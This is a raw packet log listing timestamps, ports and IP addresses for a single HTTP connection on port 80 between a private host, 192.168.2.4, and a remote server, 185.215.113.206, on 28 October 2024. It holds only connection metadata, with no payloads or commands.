Oct 28, 2024 08:17:34.524369955 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.524375916 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.524406910 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.524420977 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.524465084 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.524720907 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.524772882 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.524772882 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.524821997 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.524828911 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.524868965 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.524882078 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.524916887 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.524924040 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.524960995 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.524969101 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.525005102 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.525012970 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.525041103 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.525075912 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.525079966 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.525080919 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.525110006 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.525110960 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.525146008 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.525190115 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.525190115 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.525768042 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.525820971 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.525830030 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.525857925 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.525875092 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.525897980 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.600471020 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.600529909 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.600579977 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.600579977 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.600604057 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.600656986 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.600666046 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.600691080 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.600708961 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.600750923 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.600755930 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.600781918 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.600816965 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.600821972 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.600821972 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.600852013 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.600884914 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.600884914 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.601098061 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.601164103 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.601180077 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.601211071 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.601238012 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.601263046 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.601264954 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.601294994 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.601317883 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.601347923 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.601382017 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.601388931 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.601388931 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.601423025 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.601499081 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.601526976 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.601566076 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.601566076 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.601650953 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.601695061 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.601702929 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.601732969 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.601767063 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.601768970 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.601768970 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.601819992 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.643338919 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.648756981 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.931660891 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.931718111 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.931752920 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.931777954 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.931777954 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.931823015 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.931827068 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.931874037 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.931879044 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.931915998 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.931952953 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.931961060 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.931961060 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.931992054 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.932028055 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.932034969 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.932034969 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.932064056 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.932099104 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.932107925 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.932107925 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.932169914 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.932400942 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.932434082 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.932467937 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.932481050 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.932481050 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.932514906 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.932619095 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.932651997 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.932671070 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.932687044 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.932734966 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.932734966 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.932744980 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.932777882 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.932805061 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.932811975 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.932847023 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.932852983 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.932852983 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.932881117 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.932897091 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.932962894 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.933284998 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.933339119 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.933387995 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.933387995 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.933392048 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.933427095 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.933439016 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.933459997 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.933494091 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.933501959 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.933501959 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.933530092 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:34.933573961 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:34.933573961 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.051129103 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.051184893 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.051218987 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.051232100 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.051253080 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.051255941 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.051255941 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.051297903 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.051307917 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.051357985 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.051362038 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.051398039 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.051430941 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.051441908 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.051441908 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.051500082 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.051548004 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.051599026 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.051600933 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.051632881 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.051673889 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.051673889 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.051688910 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.051723003 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.051739931 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.051758051 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.051780939 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.051825047 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.052074909 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.052126884 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.052136898 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.052167892 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.052179098 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.052212954 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.052247047 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.052254915 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.052254915 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.052280903 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.052315950 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.052325010 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.052325010 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.052350044 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.052367926 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.052385092 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.052398920 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.052428961 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.052830935 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.052880049 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.052913904 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.052925110 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.052925110 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.052947044 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.052978039 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.052982092 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.052997112 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.053016901 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.053047895 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.053064108 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.053330898 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.053364992 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.053390026 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.053416014 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.053416967 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.053468943 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.053481102 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.053503990 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.053536892 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.053545952 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.053545952 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.053571939 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.053605080 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.053615093 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.053615093 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.053641081 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.053673029 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.053682089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.053682089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.053709984 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.053711891 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.053777933 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.054269075 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.054299116 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.054333925 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.054333925 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.170775890 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.170830965 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.170867920 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.170877934 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.170897007 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.170917034 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.170934916 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.170979023 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.170979977 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.171036005 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.171057940 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.171087980 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.171099901 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.171122074 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.171155930 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.171161890 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.171184063 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.171184063 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.171188116 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.171224117 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.171257973 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.171269894 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.171269894 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.171293974 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.171330929 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.171340942 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.171344995 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.171457052 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.171500921 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.171500921 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.171509027 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.171542883 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.171576023 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.171583891 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.171583891 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.171622038 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.171627045 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.171663046 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.171679020 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.171710014 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.171876907 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.171928883 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.171938896 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.171967030 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.172008038 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.172008038 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.172017097 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.172065973 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.172071934 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.172105074 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.172131062 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.172137976 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.172168970 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.172173023 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.172200918 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.172207117 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.172214031 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.172240973 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.172255039 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.172276020 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.172290087 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.172312021 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.172353029 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.172353983 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.172712088 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.172760963 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.172771931 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.172796011 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.172816038 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.172852039 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.172873020 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.172887087 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.172902107 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.172921896 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.172936916 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.172956944 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.172986984 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.172990084 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.173022985 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.173032999 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.173039913 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.173079967 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.173093081 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.173163891 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.215218067 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.215248108 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.215286970 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.215286970 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.290276051 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.290332079 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.290365934 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.290378094 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.290417910 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.290417910 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.290420055 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.290455103 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.290486097 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.290488958 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.290505886 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.290523052 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.290556908 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.290560007 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.290579081 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.290615082 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.290623903 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.290657997 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.290687084 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.290689945 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.290702105 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.290724993 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.290764093 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.290764093 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.290774107 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.290802956 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.290812969 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.290847063 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.290893078 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.290893078 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.291060925 CET	80	49766	185.215.113.206	192.168.2.4
